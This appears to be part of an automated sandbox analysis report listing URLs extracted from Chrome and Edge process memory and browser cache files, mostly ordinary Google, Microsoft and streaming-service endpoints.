Source: chromecache_434.13.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_434.13.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_434.13.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://gaana.com/
Source: chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/%n
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/(n
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com//n
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700077950.0000090400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1744611949.000009040080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2n
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/9n
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Cl
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Fl
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Ml
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Pl
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Zl
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/al
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/dl
Source: chrome.exe, 0000000B.00000003.1700540659.0000090400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gj
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/kl
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/n
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/nl
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/ul
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/xl
Source: chrome.exe, 0000000B.00000003.1700540659.0000090400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700077950.0000090400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1744611949.000009040080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 0000000B.00000003.1700540659.0000090400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 0000000B.00000003.1700540659.0000090400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 0000000B.00000003.1700801053.00000904006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 0000000B.00000003.1700077950.0000090400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1744611949.000009040080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 0000000E.00000002.1839487207.000001F800314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: 3euk6x.9.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 0000000B.00000003.1749747828.0000009C01884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 0000000B.00000003.1749747828.0000009C01884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 0000000B.00000003.1700077950.0000090400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1744611949.000009040080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 0000000B.00000003.1700077950.0000090400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1744611949.000009040080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 0000000B.00000003.1734685865.0000009C012C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1734511999.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741148027.0000009C0135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1733964962.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741858666.0000009C0141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 0000000B.00000003.1700859761.00000904006EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://m.kugou.com/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://m.soundcloud.com/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://m.vk.com/
Source: chrome.exe, 0000000B.00000003.1734685865.0000009C012C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1734511999.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741148027.0000009C0135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1733964962.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741858666.0000009C0141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: msedge.exe, 0000000E.00000002.1839487207.000001F800314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 0000000E.00000002.1839487207.000001F800314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: msedge.exe, 0000000E.00000002.1839487207.000001F800314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/Y
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXIDv10sZ
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://music.amazon.com
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://music.apple.com
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email?utm_source=chrome
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email?utm_source=chrome2B
Source: chrome.exe, 0000000B.00000003.1715637633.0000009C00FC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log2.15.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log2.15.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.15.dr, 000003.log2.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log2.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13383995852385827.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: msedge.exe, 0000000E.00000002.1839487207.000001F800314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 0000000B.00000003.1741905875.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://open.spotify.com
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 0000000E.00000003.1835036592.000001F80026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1834880031.000001F800264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 0000000B.00000003.1715637633.0000009C00FC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_434.13.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
